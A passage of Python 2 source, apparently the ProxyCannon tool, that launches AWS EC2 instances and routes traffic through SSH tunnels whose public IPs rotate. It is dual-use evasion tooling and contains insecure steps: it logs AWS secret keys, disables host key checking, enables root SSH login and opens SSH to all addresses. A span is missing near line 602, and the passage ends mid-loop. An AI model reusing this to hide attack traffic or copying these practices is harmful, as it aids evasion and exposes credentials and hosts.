logfile.write("\n") 69 | logfile.close() 70 | 71 | 72 | ############################################################################################# 73 | # Handle SigTerm & Clean up 74 | ############################################################################################# 75 | def cleanup(signal, frame): 76 | # Time to clean up 77 | print "\n" 78 | success("Roger that! Shutting down...") 79 | 80 | if args.v: 81 | print 'In debug mode. Press enter to continue.' 82 | null = raw_input() 83 | 84 | # Connect to EC2 and return list of reservations 85 | try: 86 | success("Connecting to Amazon's EC2...") 87 | #cleanup_conn = boto.ec2.connect_to_region(region_name=args.region, aws_access_key_id=args.key_id, aws_secret_access_key=args.access_key) 88 | cleanup_conn = boto.ec2.connect_to_region(region_name=args.region, aws_access_key_id=aws_access_key_id, aws_secret_access_key=aws_secret_access_key) 89 | except Exception as e: 90 | error("Failed to connect to Amazon EC2 because: %s" % e) 91 | 92 | cleanup_reservations = cleanup_conn.get_all_instances(filters={"tag:Name" : nameTag, "instance-state-name" : "running"}) 93 | 94 | # Grab list of public IP's assigned to instances that were launched 95 | allInstances = [] 96 | for reservation in cleanup_reservations: 97 | for instance in reservation.instances: 98 | if instance.ip_address not in allInstances: 99 | if (instance.ip_address): 100 | allInstances.append(instance.ip_address) 101 | debug("Public IP's for all instances: " + str(allInstances)) 102 | 103 | # Flush iptables 104 | success("Restoring iptables....") 105 | os.system("iptables -t nat -F") 106 | debug("SHELL CMD: iptables cmd: iptables -t -nat -F") 107 | os.system("iptables -F") 108 | debug("SHELL CMD: iptables cmd: iptables -F") 109 | os.system("iptables-restore < /tmp/%s" % iptablesName) 110 | 111 | # Cleaning routes 112 | success("Correcting Routes.....") 113 | interface = args.num_of_instances 114 | for host in allInstances: 115 | os.system("route del %s dev %s" % (host, args.interface)) 116 | debug("SHELL CMD: route del " + host + " dev " + args.interface) 117 | os.system("ip route del default") 118 | debug("SHELL CMD: ip route del default") 119 | os.system("ip route add default via %s dev %s" % (defaultgateway, args.interface)) 120 | debug("SHELL CMD: ip route add default via " + defaultgateway + " dev " + args.interface) 121 | 122 | # Terminate instance 123 | success("Terminating Instances.....") 124 | for reservation in cleanup_reservations: 125 | for instance in reservation.instances: 126 | instance.terminate() 127 | 128 | warning("Pausing for 90 seconds so instances can properly terminate.....") 129 | time.sleep(90) 130 | 131 | # Remove Security Groups 132 | success("Deleting Amazon Security Groups.....") 133 | try: 134 | cleanup_conn.delete_security_group(name=securityGroup) 135 | except Exception as e: 136 | error("Deletion of security group failed because %s" % e) 137 | 138 | # Remove Key Pairs 139 | success("Removing SSH keys.....") 140 | try: 141 | cleanup_conn.delete_key_pair(key_name=keyName) 142 | except Exception as e: 143 | error("Deletion of key pair failed because %s" % e) 144 | 145 | # Remove local ssh key 146 | debug("SHELL CMD: rm -f " + homeDir + "/.ssh/" + keyName + ".pem") 147 | subprocess.Popen("rm -f %s/.ssh/%s.pem" % (homeDir, keyName), shell=True) 148 | 149 | # Remove local routing 150 | success("Restoring local routing....") 151 | debug("SHELL CMD: echo 0 > /proc/sys/net/ipv4/ip_forward") 152 | os.system("echo 0 > /proc/sys/net/ipv4/ip_forward") 153 | 154 | # remove iptables saved config 155 | success("Removing local iptables save state") 156 | debug("SHELL CMD: rm -rf /tmp/%s" + iptablesName) 157 | subprocess.Popen("rm /tmp/%s" % iptablesName, shell=True) 158 | 159 | # Log then close 160 | log("ProxyCannon Finished.") 161 | 162 | success("Done!") 163 | 164 | sys.exit(0) 165 | 166 | ############################################################################################# 167 | # Rotate Hosts 168 | ############################################################################################# 169 | 170 | def rotate_hosts(): 171 | #connect to EC2 and return list of reservations 172 | 173 | while True: 174 | retry_cnt = 0 175 | while retry_cnt < 6: 176 | if retry_cnt == 5: 177 | error("giving up...") 178 | cleanup("foo", "bar") 179 | try: 180 | debug("Connecting to Amazon's EC2.") 181 | rotate_conn = boto.ec2.connect_to_region(region_name=args.region, aws_access_key_id=aws_access_key_id, aws_secret_access_key=aws_secret_access_key) 182 | retry_cnt = 6 183 | except Exception as e: 184 | warning("Failed to connect to Amazon EC2 because: %s. Retrying..." % e) 185 | retry_cnt = retry_cnt + 1 186 | time.sleep(+int(retry_cnt)) 187 | 188 | retry_cnt = 0 189 | while retry_cnt < 6: 190 | if retry_cnt == 5: 191 | error("giving up...") 192 | cleanup("foo", "bar") 193 | try: 194 | rotate_reservations = rotate_conn.get_all_instances(filters={"tag:Name" : nameTag, "instance-state-name" : "running"}) 195 | retry_cnt = 6 196 | except Exception as e: 197 | warning("Failed to connect to Amazon EC2 because: %s (rotate_reservations). Retrying..." % e) 198 | retry_cnt = retry_cnt + 1 199 | time.sleep(+int(retry_cnt)) 200 | 201 | # interface = 0 202 | for reservation in rotate_reservations: 203 | for instance in reservation.instances: 204 | 205 | # build ip filter list 206 | 207 | # Connect to EC2 and return list of reservations 208 | retry_cnt = 0 209 | while retry_cnt < 6: 210 | if retry_cnt == 5: 211 | error("giving up...") 212 | cleanup("foo", "bar") 213 | try: 214 | ipfilter_conn = boto.ec2.connect_to_region(region_name=args.region, aws_access_key_id=aws_access_key_id, aws_secret_access_key=aws_secret_access_key) 215 | retry_cnt = 6 216 | except Exception as e: 217 | warning("Failed to connect to Amazon EC2 because: %s (ipfilter_con). Retrying..." % e) 218 | retry_cnt = retry_cnt + 1 219 | time.sleep(+int(retry_cnt)) 220 | 221 | retry_cnt = 0 222 | while retry_cnt < 6: 223 | if retry_cnt == 5: 224 | error("giving up...") 225 | cleanup("foo", "bar") 226 | try: 227 | ipfilter_reservations = ipfilter_conn.get_all_instances(filters={"tag:Name" : nameTag, "instance-state-name" : "running"}) 228 | retry_cnt = 6 229 | except Exception as e: 230 | warning("Failed to get reservations because: %s (ipfilter_reservations). Retrying..." % e) 231 | retry_cnt = retry_cnt + 1 232 | time.sleep(+int(retry_cnt)) 233 | 234 | # Grab list of public IP's assigned to instances that were launched 235 | ipfilter = [] 236 | for ipfilter_reservation in ipfilter_reservations: 237 | for ipfilter_instance in ipfilter_reservation.instances: 238 | ipfilter.append(ipfilter_instance.ip_address) 239 | debug("Public IP's for all instances: " + str(ipfilter)) 240 | 241 | host = instance.ip_address 242 | debug("Rotating: " + str(host)) 243 | 244 | # Build New Route table with $times_run being set to weight 256 245 | weight = 1 246 | nexthopcmd = "ip route replace default scope global " 247 | 248 | route_interface = 0 249 | 250 | while route_interface < args.num_of_instances: 251 | if (route_interface == address_to_tunnel[str(host)]): 252 | weight = 1 253 | else: 254 | weight = 2 255 | nexthopcmd = nexthopcmd + "nexthop via 10." + str(route_interface) + ".254.1 dev tun" + str(route_interface) + " weight " + str(weight) + " " 256 | route_interface = route_interface + 1 257 | 258 | debug("SHELL CMD: " + nexthopcmd) 259 | retcode = subprocess.call(nexthopcmd, shell=True, stdout=FNULL, stderr=subprocess.STDOUT) 260 | if str(retcode) != "0": 261 | error("ERROR: Failed to install new route") 262 | debug("retcode: " + str(retcode)) 263 | cleanup("foo", "bar") 264 | #os.system("%s" % nexthopcmd) 265 | 266 | stat = 1 267 | while True: 268 | 269 | # check to validate that no sessions are established 270 | # Check TCP RX&TX QUEUE 271 | # netstat -ant | grep ESTABLISHED | grep 52.90.212.53 | awk '{print $2$3}' 272 | p1 = subprocess.Popen(['netstat', '-ant'], stdout=subprocess.PIPE) 273 | p2 = subprocess.Popen(['grep', 'ESTABLISHED'], stdin=p1.stdout, stdout=subprocess.PIPE) 274 | p3 = subprocess.Popen(['grep', host], stdin=p2.stdout, stdout=subprocess.PIPE) 275 | awkcmd = ['awk', '{print $2$3}'] # had some problems escaping the single quotes, went with this 276 | p4 = subprocess.Popen(awkcmd, stdin=p3.stdout, stdout=subprocess.PIPE) 277 | stat,err = p4.communicate() 278 | p1.stdout.close() 279 | p2.stdout.close() 280 | p3.stdout.close() 281 | p4.stdout.close() 282 | debug("Connection Stats " + stat.strip()) 283 | if (int(stat) > 0): 284 | debug("Connection is in use, sleeping and trying again in .5 seconds") 285 | time.sleep(.5) 286 | else: 287 | debug("Connection is free") 288 | break 289 | 290 | # Killing ssh tun cmd 291 | killcmd = "kill $(ps -ef | grep ssh | grep %s | awk '{print $2}')" % host 292 | debug("SHELL CMD: " + killcmd) 293 | 294 | retcode = subprocess.call(killcmd, shell=True, stdout=FNULL, stderr=subprocess.STDOUT) 295 | if str(retcode) != "-15": 296 | error("ERROR: Failed to kill ssh tunnel for %s." % host) 297 | debug("retcode: " + str(retcode)) 298 | 299 | # remove iptables rule allowing SSH to EC2 Host 300 | os.system("iptables -t nat -D POSTROUTING -d %s -j RETURN" % host) 301 | debug("SHELL CMD: iptables -t nat -D POSTROUTING -d " + host + " -j RETURN") 302 | 303 | # Nat outbound traffic going through our tunnels 304 | os.system("iptables -t nat -D POSTROUTING -o tun%s -j MASQUERADE" % address_to_tunnel[str(host)]) 305 | debug("SHELL CMD: iptables -t nat -D POSTROUTING -o tun" + address_to_tunnel[str(host)] + " -j MASQUERADE") 306 | 307 | # Remove Static Route to EC2 Host 308 | os.system("ip route del %s" % host) 309 | debug("SHELL CMD: ip route del " + host) 310 | 311 | # Remove from route table 312 | # Build New Route table with $times_run being set to weight 256 313 | weight = 1 314 | nexthopcmd = "ip route replace default scope global " 315 | 316 | route_interface = 0 317 | 318 | # Change to if not 319 | while route_interface < args.num_of_instances: 320 | if (int(route_interface) == int(address_to_tunnel[str(host)])): 321 | weight = 1 322 | else: 323 | weight = 1 324 | nexthopcmd = nexthopcmd + "nexthop via 10." + str(route_interface) + ".254.1 dev tun" + str(route_interface) + " weight " + str(weight) + " " 325 | route_interface = route_interface + 1 326 | 327 | debug("SHELL CMD: " + nexthopcmd) 328 | retcode = subprocess.call(nexthopcmd, shell=True, stdout=FNULL, stderr=subprocess.STDOUT) 329 | if str(retcode) != "0": 330 | error("ERROR: Failed to install new route") 331 | debug("retcode: " + str(retcode)) 332 | cleanup("foo", "bar") 333 | 334 | #os.system("%s" % nexthopcmd) 335 | 336 | # Requesting new IP allocation 337 | try: 338 | new_address = rotate_conn.allocate_address() 339 | except Exception as e: 340 | error("Failed to obtain a new address because: " + str(e)) 341 | cleanup("foo", "bar") 342 | debug("Temporary Elastic IP address: " + new_address.public_ip) 343 | 344 | time.sleep(5) 345 | # Associating new address 346 | rotate_conn.associate_address(instance.id, new_address.public_ip) 347 | 348 | ## At this point, your VM should respond on its public ip address. NOTE: It may take up to 60 seconds for the Elastic IP address to begin working 349 | debug("Sleeping for 30s to allow for new IP to take effect") 350 | time.sleep(30) 351 | 352 | # Remove assocation forcing a new public ip 353 | try: 354 | rotate_conn.disassociate_address(new_address.public_ip) 355 | except Exception as e: 356 | error("Failed to dissassociate the address " + str(new_address.public_ip) + " because: " + str(e)) 357 | cleanup("foo", "bar") 358 | debug("Sleeping for 60s to allow for new IP to take effect") 359 | time.sleep(60) 360 | 361 | # Return the Second Elastic IP address back to address pool 362 | try: 363 | rotate_conn.release_address(allocation_id=new_address.allocation_id) 364 | except Exception as e: 365 | error("Failed to release the address " + str(new_address.public_ip) + " because: " + str(e)) 366 | cleanup("foo", "bar") 367 | 368 | # Connect to EC2 and return list of reservations 369 | try: 370 | ip_list_conn = boto.ec2.connect_to_region(region_name=args.region, aws_access_key_id=aws_access_key_id, aws_secret_access_key=aws_secret_access_key) 371 | except Exception as e: 372 | error("Failed to connect to Amazon EC2 because: %s" % e) 373 | 374 | ip_list_reservations = ip_list_conn.get_all_instances(filters={"tag:Name" : nameTag, "instance-state-name" : "running"}) 375 | 376 | # Grab list of public IP's assigned to instances that were launched 377 | all_addresses = [] 378 | for ip_list_reservation in ip_list_reservations: 379 | for ip_list_instance in ip_list_reservation.instances: 380 | all_addresses.append(ip_list_instance.ip_address) 381 | debug("Public IP's for all instances: " + str(all_addresses)) 382 | 383 | swapped_ip = '' 384 | #print("all_addresses: " + str(all_addresses)) 385 | for address in all_addresses: 386 | if address not in ipfilter: 387 | debug("found new ip: " + str(address)) 388 | swapped_ip = str(address) 389 | 390 | # Add static routes for our SSH tunnels 391 | os.system("ip route add %s via %s dev %s" % (swapped_ip, defaultgateway, args.interface)) 392 | debug("SHELL CMD: ip route add " + swapped_ip + " via " + defaultgateway + " dev " + args.interface) 393 | 394 | # Establish tunnel interface 395 | sshcmd = "ssh -i %s/.ssh/%s.pem -w %s:%s -o StrictHostKeyChecking=no -o TCPKeepAlive=yes -o ServerAliveInterval=50 root@%s &" % (homeDir, keyName, address_to_tunnel[str(host)], address_to_tunnel[str(host)], swapped_ip) 396 | debug("SHELL CMD: " + sshcmd) 397 | retry_cnt = 0 398 | while ((retcode == 1) or (retry_cnt < 6)): 399 | retcode = subprocess.call(sshcmd, shell=True, stdout=FNULL, stderr=subprocess.STDOUT) 400 | if retcode: 401 | warning("Failed to configure sshd_config on %s (tun%s). Retrying..." % (swapped_ip,address_to_tunnel[str(host)])) 402 | retry_cnt = retry_cnt + 1 403 | time.sleep(1+int(retry_cnt)) 404 | else: 405 | retry_cnt = 6 # probably a better way to do this 406 | if retry_cnt == 5: 407 | error("Giving up...") 408 | cleanup("foo", "bar") 409 | 410 | # Provision interface 411 | sshcmd = "ssh -i %s/.ssh/%s.pem -o StrictHostKeyChecking=no ubuntu@%s 'sudo ifconfig tun%s 10.%s.254.1 netmask 255.255.255.252'" % (homeDir, keyName, swapped_ip, address_to_tunnel[str(host)], address_to_tunnel[str(host)]) 412 | debug("SHELL CMD: " + sshcmd) 413 | retry_cnt = 0 414 | while ((retcode == 1) or (retry_cnt < 6)): 415 | retcode = subprocess.call(sshcmd, shell=True, stdout=FNULL, stderr=subprocess.STDOUT) 416 | if retcode: 417 | warning("Failed to assign interface address on %s (tun%s). Retrying..." % (swapped_ip,address_to_tunnel[str(host)])) 418 | retry_cnt = retry_cnt + 1 419 | time.sleep(1+int(retry_cnt)) 420 | else: 421 | retry_cnt = 6 # probably a better way to do this 422 | if retry_cnt == 5: 423 | raw_input("Pausing to investigate") 424 | error("Giving up...") 425 | cleanup("foo", "bar") 426 | 427 | ## Add return route back to us 428 | sshcmd = "ssh -i %s/.ssh/%s.pem -o StrictHostKeyChecking=no ubuntu@%s 'sudo route add 10.%s.254.2 dev tun%s'" % (homeDir, keyName, swapped_ip, address_to_tunnel[str(host)], address_to_tunnel[str(host)]) 429 | debug("SHELL CMD: " + sshcmd) 430 | retry_cnt = 0 431 | while ((retcode == 1) or (retry_cnt < 6)): 432 | retcode = subprocess.call(sshcmd, shell=True, stdout=FNULL, stderr=subprocess.STDOUT) 433 | if retcode: 434 | warning("ERROR: Failed to add static route on %s (tun%s). Retrying..." % (swapped_ip,address_to_tunnel[str(host)])) 435 | retry_cnt = retry_cnt + 1 436 | time.sleep(1+int(retry_cnt)) 437 | else: 438 | retry_cnt = 6 # probably a better way to do this 439 | if retry_cnt == 5: 440 | error("Giving up...") 441 | cleanup("foo", "bar") 442 | 443 | 444 | # Turn up our interface 445 | os.system("ifconfig tun%s up" % address_to_tunnel[str(host)]) 446 | debug("Turning up interface tun" + address_to_tunnel[str(host)]) 447 | 448 | # Provision interface 449 | os.system("ifconfig tun%s 10.%s.254.2 netmask 255.255.255.252" % (address_to_tunnel[str(host)], address_to_tunnel[str(host)])) 450 | debug("Assinging interface tun" + address_to_tunnel[str(host)] + " ip of 10." + address_to_tunnel[str(host)] + ".254.2") 451 | time.sleep(2) 452 | 453 | # Adding local route (shoudlnt be needed) 454 | debug("Adding static route 10." + address_to_tunnel[str(host)] + ".254.0/30 via dev tun" + address_to_tunnel[str(host)]) 455 | route_cmd = 'ip route add 10.' + address_to_tunnel[str(host)] + '.254.0/30 via 0.0.0.0 dev tun' + address_to_tunnel[str(host)] + ' proto kernel scope link src 10.' + address_to_tunnel[str(host)] + '.254.2' 456 | debug('SHELL CMD: ' + route_cmd) 457 | os.system(route_cmd) 458 | 459 | # Allow connections to our proxy servers themselves 460 | os.system("iptables -t nat -I POSTROUTING -d %s -j RETURN" % swapped_ip) 461 | 462 | # Nat outbound traffic going through our tunnels 463 | os.system("iptables -t nat -A POSTROUTING -o tun%s -j MASQUERADE " % address_to_tunnel[str(host)]) 464 | 465 | # Rebuild Route table 466 | route_interface = 0 467 | nexthopcmd = "ip route replace default scope global " 468 | weight = 1 469 | while route_interface < args.num_of_instances: 470 | nexthopcmd = nexthopcmd + "nexthop via 10." + str(route_interface) + ".254.1 dev tun" + str(route_interface) + " weight " + str(weight) + " " 471 | route_interface = route_interface + 1 472 | 473 | debug("SHELL CMD: " + nexthopcmd) 474 | retcode = subprocess.call(nexthopcmd, shell=True, stdout=FNULL, stderr=subprocess.STDOUT) 475 | if str(retcode) != "0": 476 | error("ERROR: Failed to install new route") 477 | debug("retcode: " + str(retcode)) 478 | cleanup("foo", "bar") 479 | 480 | #os.system("%s" % nexthopcmd) 481 | 482 | # Add static routes for our SSH tunnels 483 | os.system("ip route add %s via %s dev %s > /dev/null 2>&1" % (swapped_ip, defaultgateway, args.interface)) 484 | success("Replaced " + str(host) + " with " + str(swapped_ip) + " on tun" + address_to_tunnel[str(host)]) 485 | 486 | # Removing from local dict 487 | address_to_tunnel[str(swapped_ip)] = address_to_tunnel[str(host)] 488 | del address_to_tunnel[str(host)] 489 | # print address_to_tunnel 490 | log(str(swapped_ip)) 491 | # interface = interface + 1 492 | 493 | ############################################################################################# 494 | # System and Program Arguments 495 | ############################################################################################# 496 | 497 | parser = argparse.ArgumentParser() 498 | parser.add_argument('-id', '--image-id', nargs='?', default='ami-d05e75b8', help="Amazon ami image ID. Example: ami-d05e75b8. If not set, ami-d05e75b8.") 499 | parser.add_argument('-t', '--image-type', nargs='?', default='t2.nano', help="Amazon ami image type Example: t2.nano. If not set, defaults to t2.nano.") 500 | parser.add_argument('--region', nargs='?', default='us-east-1', help="Select the region: Example: us-east-1. If not set, defaults to us-east-1.") 501 | parser.add_argument('-r', action='store_true', help="Enable Rotating AMI hosts.") 502 | parser.add_argument('-v', action='store_true', help="Enable verbose logging. All cmd's should be printed to stdout") 503 | parser.add_argument('num_of_instances', type=int, help="The number of amazon instances you'd like to launch.") 504 | parser.add_argument('--name', nargs="?", help="Set the name of the instance in the cluster") 505 | parser.add_argument('-i', '--interface', nargs='?', default='eth0', help="Interface to use, default is eth0") 506 | parser.add_argument('-l', '--log', action='store_true', help="Enable logging of WAN IP's traffic is routed through. Output is to /tmp/") 507 | args = parser.parse_args() 508 | 509 | # system variables; 510 | homeDir = os.getenv("HOME") 511 | FNULL = open(os.devnull, 'w') 512 | debug("Homedir: " + homeDir) 513 | address_to_tunnel = {} 514 | 515 | # Check for boto config 516 | boto_config = homeDir + "/.boto" 517 | if os.path.isfile(boto_config): 518 | for line in open(boto_config): 519 | pattern = re.findall("^aws_access_key_id = (.*)\n", line, re.DOTALL) 520 | if pattern: 521 | aws_access_key_id = pattern[0] 522 | pattern = re.findall("^aws_secret_access_key = (.*)\n", line, re.DOTALL) 523 | if pattern: 524 | aws_secret_access_key = pattern[0] 525 | else: 526 | debug("boto config file does not exist") 527 | aws_access_key_id = raw_input("What is the AWS Access Key Id: ") 528 | aws_secret_access_key = raw_input("What is the AWS Secret Access Key: ") 529 | 530 | boto_fh = open(boto_config, 'w+') 531 | boto_fh.write('[default]') 532 | boto_fh.write("\n") 533 | boto_fh.write('aws_access_key_id = ') 534 | boto_fh.write(aws_access_key_id) 535 | boto_fh.write("\n") 536 | boto_fh.write('aws_secret_access_key = ') 537 | boto_fh.write(aws_secret_access_key) 538 | boto_fh.write("\n") 539 | boto_fh.close 540 | 541 | debug("AWS_ACCESS_KEY_ID: " + aws_access_key_id) 542 | debug("AWS_SECRET_ACCESS_KEY: " + aws_secret_access_key) 543 | 544 | # Generate sshkeyname 545 | if args.name: 546 | 547 | # SSH Key Name 548 | keyName = "PC_" + args.name 549 | 550 | # AMI Security Group Name 551 | securityGroup = "PC_" + args.name 552 | 553 | # AMI Tag Name 554 | nameTag = "PC_" + args.name 555 | 556 | # iptables Name 557 | iptablesName = "PC_" + args.name 558 | 559 | # log name 560 | logName = "PC_" + args.name + ".log" 561 | 562 | else: 563 | pid = os.getpid() 564 | stamp = time.time() 565 | m = hashlib.md5() 566 | tempstring = str(pid + stamp) 567 | m.update(tempstring) 568 | 569 | # SSH key Name 570 | keyName = "PC_" + m.hexdigest() 571 | 572 | # AMI Security Group Name 573 | securityGroup = "PC_" + m.hexdigest() 574 | 575 | # AMI Tag Name 576 | nameTag = "PC_" + m.hexdigest() 577 | 578 | # iptables Name 579 | iptablesName = "PC_" + m.hexdigest() 580 | 581 | # Log Name 582 | logName = "PC_" + m.hexdigest() + ".log" 583 | 584 | # Get Interface IP 585 | def get_ip_address(ifname): 586 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 587 | return socket.inet_ntoa(fcntl.ioctl( 588 | s.fileno(), 589 | 0x8915, # SIOCGIFADDR 590 | struct.pack('256s', ifname[:15]) 591 | )[20:24]) 592 | 593 | # Get Default Route 594 | def get_default_gateway_linux(): 595 | # Read the default gateway directly from /proc. 596 | with open("/proc/net/route") as fh: 597 | for line in fh: 598 | fields = line.strip().split() 599 | if fields[1] != '00000000' or not int(fields[3], 16) & 2: 600 | continue 601 | 602 | return socket.inet_ntoa(struct.pack(" 20: 642 | warning("Woah there stallion, that's alot of instances, hope you got that sweet license from Amazon.") 643 | 644 | # Display Warning 645 | print "\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++" 646 | print "+ This script will clear out any existing iptable and routing rules. +" 647 | print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++" 648 | warning("Would you like to continue y/[N]: ") 649 | confirm = raw_input() 650 | if confirm.lower() != "y": 651 | exit("Yeah you're right its probably better to play it safe.") 652 | 653 | ############################################################################################# 654 | # System and Program Arguments 655 | ############################################################################################# 656 | 657 | # Initialize connection to EC2 658 | success("Connecting to Amazon's EC2...") 659 | try: 660 | conn = boto.ec2.connect_to_region(region_name=args.region, aws_access_key_id=aws_access_key_id, aws_secret_access_key=aws_secret_access_key) 661 | #conn = boto.ec2.connect_to_region(region_name=args.region) 662 | except Exception as e: 663 | error("Failed to connect to Amazon EC2 because: %s" % e) 664 | exit() 665 | 666 | # Generate KeyPair 667 | success("Generating ssh keypairs...") 668 | keypair = conn.create_key_pair(keyName) 669 | keypair.save("%s/.ssh" % homeDir) 670 | debug("SSH Key Pair Name " + keyName) 671 | time.sleep(5) 672 | success("Generating Amazon Security Group...") 673 | try: 674 | sg = conn.create_security_group(name=securityGroup, description="Used for proxyCannon") 675 | except Exception as e: 676 | error("Generating Amazon Security Group failed because: %s" % e) 677 | exit() 678 | 679 | time.sleep(5) 680 | try: 681 | sg.authorize(ip_protocol="tcp", from_port=22, to_port=22, cidr_ip="0.0.0.0/0") 682 | except Exception as e: 683 | error("Generating Amazon Security Group failed because: %s" % e) 684 | exit() 685 | 686 | debug("Security Group Name: " + securityGroup) 687 | 688 | # Launch Amazon Instances 689 | try: 690 | reservations = conn.run_instances(args.image_id, key_name=keyName, min_count=args.num_of_instances, max_count=args.num_of_instances, instance_type=args.image_type, security_groups=[securityGroup]) 691 | except Exception as e: 692 | error("Failed to start new instance: %s" % e) 693 | cleanup("null", "null") 694 | warning("Starting %s instances, please give about 4 minutes for them to fully boot" % args.num_of_instances) 695 | 696 | #sleep for 4 minutes while booting images 697 | for i in range(21): 698 | sys.stdout.write('\r') 699 | sys.stdout.write("[%-20s] %d%%" % ('='*i, 5*i)) 700 | sys.stdout.flush() 701 | time.sleep(11.5) 702 | print "\n" 703 | # Add tag name to instance for better management 704 | for instance in reservations.instances: 705 | instance.add_tag("Name", nameTag) 706 | debug("Tag Name: " + nameTag) 707 | 708 | # Grab list of public IP's assigned to instances that were launched 709 | allInstances = [] 710 | reservations = conn.get_all_instances(filters={"tag:Name" : nameTag, "instance-state-name" : "running"}) 711 | for reservation in reservations: 712 | for instance in reservation.instances: 713 | if instance.ip_address not in allInstances: 714 | if (instance.ip_address): 715 | allInstances.append(instance.ip_address) 716 | debug("Public IP's for all instances: " + str(allInstances)) 717 | 718 | interface = 0 719 | # Create ssh Tunnels for socks proxying 720 | success("Provisioning Hosts.....") 721 | for host in allInstances: 722 | 723 | log(host) 724 | 725 | # Enable Tunneling on the remote host 726 | sshcmd = "ssh -i %s/.ssh/%s.pem -o StrictHostKeyChecking=no ubuntu@%s 'echo PermitTunnel yes | sudo tee -a /etc/ssh/sshd_config'" % (homeDir, keyName, host) 727 | debug("SHELL CMD: " + sshcmd) 728 | 729 | retry_cnt = 0 730 | retcode = 0 731 | while ((retcode == 1) or (retry_cnt < 6)): 732 | retcode = subprocess.call(sshcmd, shell=True, stdout=FNULL, stderr=subprocess.STDOUT) 733 | if retcode: 734 | warning("Failed to configure remote sshd_config on %s to allow tunneling. Retrying..." % host) 735 | retry_cnt = retry_cnt + 1 736 | time.sleep(1) 737 | else: 738 | retry_cnt = 6 # probably a better way to do this 739 | if retry_cnt == 5: 740 | error("Giving up...") 741 | cleanup("foo", "bar") 742 | 743 | # Permit Root Logon 744 | sshcmd = "ssh -i %s/.ssh/%s.pem -o StrictHostKeyChecking=no ubuntu@%s 'sudo sed -i \"s/PermitRootLogin without-password/PermitRootLogin yes/\" /etc/ssh/sshd_config'" % (homeDir, keyName, host) 745 | debug("SHELL CMD: " + sshcmd) 746 | retry_cnt = 0 747 | while ((retcode == 1) or (retry_cnt < 6)): 748 | retcode = subprocess.call(sshcmd, shell=True, stdout=FNULL, stderr=subprocess.STDOUT) 749 | if retcode: 750 | warning("Failed to configure remote sshd_config on %s to allow SSH Keys as root. Retrying..." % host) 751 | retry_cnt = retry_cnt + 1 752 | time.sleep(1) 753 | else: 754 | retry_cnt = 6 # probably a better way to do this 755 | if retry_cnt == 5: 756 | error("Giving up...") 757 | cleanup("foo", "bar") 758 | 759 | # Copy Keys 760 | sshcmd = "ssh -i %s/.ssh/%s.pem -o StrictHostKeyChecking=no ubuntu@%s 'sudo cp /home/ubuntu/.ssh/authorized_keys /root/.ssh/'" %(homeDir, keyName, host) 761 | debug("SHELL CMD: " + sshcmd) 762 | retry_cnt = 0 763 | while ((retcode == 1) or (retry_cnt < 6)): 764 | retcode = subprocess.call(sshcmd, shell=True, stdout=FNULL, stderr=subprocess.STDOUT) 765 | if retcode: 766 | warning("ERROR: Failed to set authorized ssh keys on %s. Retrying..." % host) 767 | retry_cnt = retry_cnt + 1 768 | time.sleep(1) 769 | else: 770 | retry_cnt = 6 # probably a better way to do this 771 | if retry_cnt == 5: 772 | error("Giving up...") 773 | cleanup("foo", "bar") 774 | 775 | # Restarting Service to take new config (you'd think a simple reload would be enough) 776 | sshcmd = "ssh -i %s/.ssh/%s.pem -o StrictHostKeyChecking=no ubuntu@%s 'sudo service ssh restart'" % (homeDir, keyName, host) 777 | debug("SHELL CMD: " + sshcmd) 778 | retry_cnt = 0 779 | while ((retcode == 1) or (retry_cnt < 6)): 780 | retcode = subprocess.call(sshcmd, shell=True, stdout=FNULL, stderr=subprocess.STDOUT) 781 | if retcode: 782 | warning("ERROR: Failed to restart sshd service on %s. Retrying..." % host) 783 | retry_cnt = retry_cnt + 1 784 | time.sleep(1) 785 | else: 786 | retry_cnt = 6 # probably a better way to do this 787 | if retry_cnt == 5: 788 | error("Giving up...") 789 | cleanup("foo", "bar") 790 | 791 | # Establish tunnel interface 792 | sshcmd = "ssh -i %s/.ssh/%s.pem -w %s:%s -o StrictHostKeyChecking=no -o TCPKeepAlive=yes -o ServerAliveInterval=50 root@%s &" % (homeDir, keyName, interface, interface, host) 793 | debug("SHELL CMD: " + sshcmd) 794 | retry_cnt = 0 795 | while ((retcode == 1) or (retry_cnt < 6)): 796 | retcode = subprocess.call(sshcmd, shell=True, stdout=FNULL, stderr=subprocess.STDOUT) 797 | if retcode: 798 | warning("Failed to establish ssh tuennl on %s. Retrying..." % host) 799 | retry_cnt = retry_cnt + 1 800 | time.sleep(1) 801 | else: 802 | retry_cnt = 6 # probably a better way to do this 803 | if retry_cnt == 5: 804 | error("Giving up...") 805 | cleanup("foo", "bar") 806 | 807 | # Provision interface 808 | sshcmd = "ssh -i %s/.ssh/%s.pem -o StrictHostKeyChecking=no ubuntu@%s 'sudo ifconfig tun%s 10.%s.254.1 netmask 255.255.255.252'" % (homeDir, keyName, host, interface, interface) 809 | debug("SHELL CMD: " + sshcmd) 810 | retry_cnt = 0 811 | while ((retcode == 1) or (retry_cnt < 6)): 812 | retcode = subprocess.call(sshcmd, shell=True, stdout=FNULL, stderr=subprocess.STDOUT) 813 | if retcode: 814 | warning("Failed to provision remote interface on %s. Retrying..." % host) 815 | retry_cnt = retry_cnt + 1 816 | time.sleep(1) 817 | else: 818 | retry_cnt = 6 # probably a better way to do this 819 | if retry_cnt == 5: 820 | error("Giving up...") 821 | cleanup("foo", "bar") 822 | 823 | # Enable forwarding on remote host 824 | sshcmd = "ssh -i %s/.ssh/%s.pem -o StrictHostKeyChecking=no ubuntu@%s 'sudo su root -c \"echo 1 > /proc/sys/net/ipv4/ip_forward\"'" % (homeDir, keyName, host) 825 | debug("SHELL CMD: " + sshcmd) 826 | retry_cnt = 0 827 | while ((retcode == 1) or (retry_cnt < 6)): 828 | retcode = subprocess.call(sshcmd, shell=True, stdout=FNULL, stderr=subprocess.STDOUT) 829 | if retcode: 830 | warning("Failed to enable forwarding on %s. Retrying..." % host) 831 | retry_cnt = retry_cnt + 1 832 | time.sleep(1) 833 | else: 834 | retry_cnt = 6 # probably a better way to do this 835 | if retry_cnt == 5: 836 | error("Giving up...") 837 | cleanup("foo", "bar") 838 | 839 | # Provision iptables on remote host 840 | sshcmd = "ssh -i %s/.ssh/%s.pem -o StrictHostKeyChecking=no ubuntu@%s 'sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE'" % (homeDir, keyName, host) 841 | debug("SHELL CMD: " + sshcmd) 842 | retry_cnt = 0 843 | while ((retcode 